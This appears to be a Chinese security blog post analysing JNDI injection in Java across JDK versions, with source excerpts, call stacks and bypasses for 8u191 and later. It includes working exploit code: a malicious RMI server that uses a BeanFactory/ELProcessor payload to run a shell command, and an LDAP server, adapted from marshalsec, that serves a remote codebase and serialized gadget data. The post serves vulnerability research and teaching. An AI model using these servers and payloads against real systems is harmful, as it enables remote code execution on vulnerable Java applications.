Exploitng JNDI Injection In Java

最近梳理了一下 JNDI Injection 的攻击面

Description

JNDI Injection 可能是 Java 里面用到的比较多的攻击思路,但是在高版本 JDK 下都有着一些限制

高版本 JDK 下 对 JNDI 的限制主要来源于 trustURLCodebase 一些相关的配置

  • JDK 5u45、6u45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为 true
  • JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为 false
  • JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为 false

高是一个相对量的形容词,下文主要版本分割以 8u191 为界限

< 8u191

根据上文中 JNDI Injection 与 JDK 关系图可以看出来,8u191 之前主要分为三个思路进行 JNDI Injection

  • RMI 动态加载恶意类
  • RMI + JNDI Reference
  • LDAP + JNDI Reference

首先 RMI 动态加载恶意类,其中两个比较重要的名词分别是 CLASSPATH 和 codebase,P师傅的 Java安全漫谈对此进行了解释

codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的 CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等

如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则 Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为 Example类的字节码。

而 RMI 动态加载恶意类造成 RCE 的成因,个人认为就是其 RMI 的这种加载机制和 codebase 可控造成了远程恶意类加载,首先加载机制是当本地CLASSPATH中无法找到相应的类时,会在指定的codebase里加载class,那么此时 codebase 可控也就造成了 RCE

其限制如下

  • 安装并配置了SecurityManager
  • Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false

由于限制颇多,也就变成了不常使用的方式,其后两种方式主要结合了 JNDI Reference,后续 bypass 方式也是基于其调用流程

基本的利用流程都是 get 一个 JNDI Reference,之后会通过 JNDI Reference 中指定的 codebase 加载 Factory,然后将其实例化,由于会调用 factory.getObjectInstance 因此在恶意类的 static 代码块,构造方法,getObjectInstance 方法出构造恶意代码均会调用

先看 RMI + JNDI Reference

JDK 7u21开始,java.rmi.server.useCodebaseOnly 默认值就为true,防止RMI客户端VM从其他Codebase地址上动态加载类。然而JNDI注入中的Reference Payload并不受useCodebaseOnly影响,因为它没有用到 RMI Class loading,它最终是通过URLClassLoader加载的远程类。

8u113 前后对比,左图为 8u102,右图为 8u201

主要改动的限制在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject

可见 8u113 之后会在 return NamingManager.getObjectInstance(var3, var2, this, this.environment); 之前抛出异常,导致无法在后续加载 Factory,主要的限制为 var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase

接着看 LDAP + JNDI Reference 8u191 前后对比

首先 decodeObject 时,LDAP 选用了不同的方式,因此之前 RMI 的限制在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 这里是不对 LDAP 起作用的

decodeObject 对于两者来说都是获取 Reference 对象

先看一下 RMI 的调用栈

decodeObject:475, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:11, RMIDemo (com.p2hm1n.jndidemo)

LDAP的调用栈

decodeObject:235, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:11, LDAPDemo (com.p2hm1n.jndidemo)

trustURLCodebase 的限制是在加载远程 codebase 时起作用的

loadClass:108, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:11, LDAPDemo (com.p2hm1n.jndidemo)

左图为 8u102,右图为 8u201

≥ 8u191

两种思路都是基于之前思路的 bypass

@kingx 文中写到两种方式

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

利用本地 Class 作为 Reference Factory

前文中我们对比了 RMI + JNDI Reference 的限制,发现其主要限制来源于

Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}

核心判断为 var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase

由于 trustURLCodebase 是受 JDK 版本限制死的,var8var8.getFactoryClassLocation() 疑似可控

这里 getFactoryClassLocation 指的是获取的工厂类的位置,如果加载 JNDI Reference 的话,地址为指定的 codebase 地址

看一下 8u113 之后的逻辑,还是先获取了 Reference 的,var8此时也被附值,因此如果这里的 var8.getFactoryClassLocation() 为 null,也就是 Reference 中指定的 Factory Class,这个工厂类必须在受害目标本地的 CLASSPATH 中,这样后续可以继续调用

且后续调用中需要调用到 factory 的 getObjectInstance 方法

限制条件:

  • Reference中指定 Factory Class,这个工厂类必须在受害目标本地的 CLASSPATH 中
  • 工厂类必须实现 javax.naming.spi.ObjectFactory 接口
  • 至少存在一个 getObjectInstance() 方法

org.apache.naming.factory.BeanFactory 是满足上述条件,被拿来作为 JDK 高版本解决 JNDI 注入限制的一个类

可以用其 eval 实现 RCE

public class ELDemo {
public static void main(String[] args) {
ELProcessor test = new ELProcessor();
test.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh', '-c', 'open -a Calculator']).start()\")");
}
}

调用栈

getValue:161, AstValue (org.apache.el.parser)
getValue:189, ValueExpressionImpl (org.apache.el)
getValue:61, ELProcessor (javax.el)
eval:54, ELProcessor (javax.el)
main:8, ELDemo (com.p2hm1n.jndidemo)

最后通过 while 遍历 + invoke 执行恶意命令

看一下恶意 Server

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;

public class ElServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open -a Calculator']).start()\")"));

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}

这里 var8.getFactoryClassLocation() != null 被绕过了,后续还是会调用到 NamingManager#getObjectInstance

中间的调用栈跟之前一样,后续调用到 org.apache.naming.factory.BeanFactory#getObjectInstance ,这里会先进行 obj 的判断,后续 classloader 调用 loadclass 加载类

这里实例化了 ELProcessor 类,并附值给 bean,同时取出 ref 中 forceString 的值,此时 ra值为 x=eval,后续通过 ra.getContent() 将 ra 的值附给 value

这里其实就是根据 = 切割字符串,将 x 附给 parameval 附给 propName

最后直接通过反射调用 ELProcessoreval 方法,最后RCE

影响 Tomcat 8+

更多兼容性的问题看雨🐂blog

利用LDAP返回序列化数据

这里需要结合本地的一些 gadget 链

首先回顾 LDAP 的定义,LDAP可以为存储的Java对象指定多种属性:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

核心利用点是 LDAP Server 中支持直接返回一个对象的序列化数据,如果 javaSerializedData 属性不为空,会对其进行反序列化

先看之前的获取 Reference 的 decodeObject

看一下 JAVA_ATTRIBUTES,这里的判断也就是 javaSerializedData

static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};

后续 readObject 处反序列化。var20可控,可构造本地 gadget

需要改一下 marshalsec,同时注意高版本 JDK 下有些 CC 链也会失效

addAttribute 添加个javaSerializedData 即可,然后去掉一些 arg[] 的传参操作,CCpoc 延用之前 CC 的链的 poc 就行,只是需要 return 一个 byte[]

import java.net.InetAddress;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*
*/
public class LdapDataServer {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main ( String[] args ) {
int port = 1389;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://127.0.0.1:8888/#Calc")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
e.addAttribute("javaSerializedData",new CCpoc().generate_payload());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}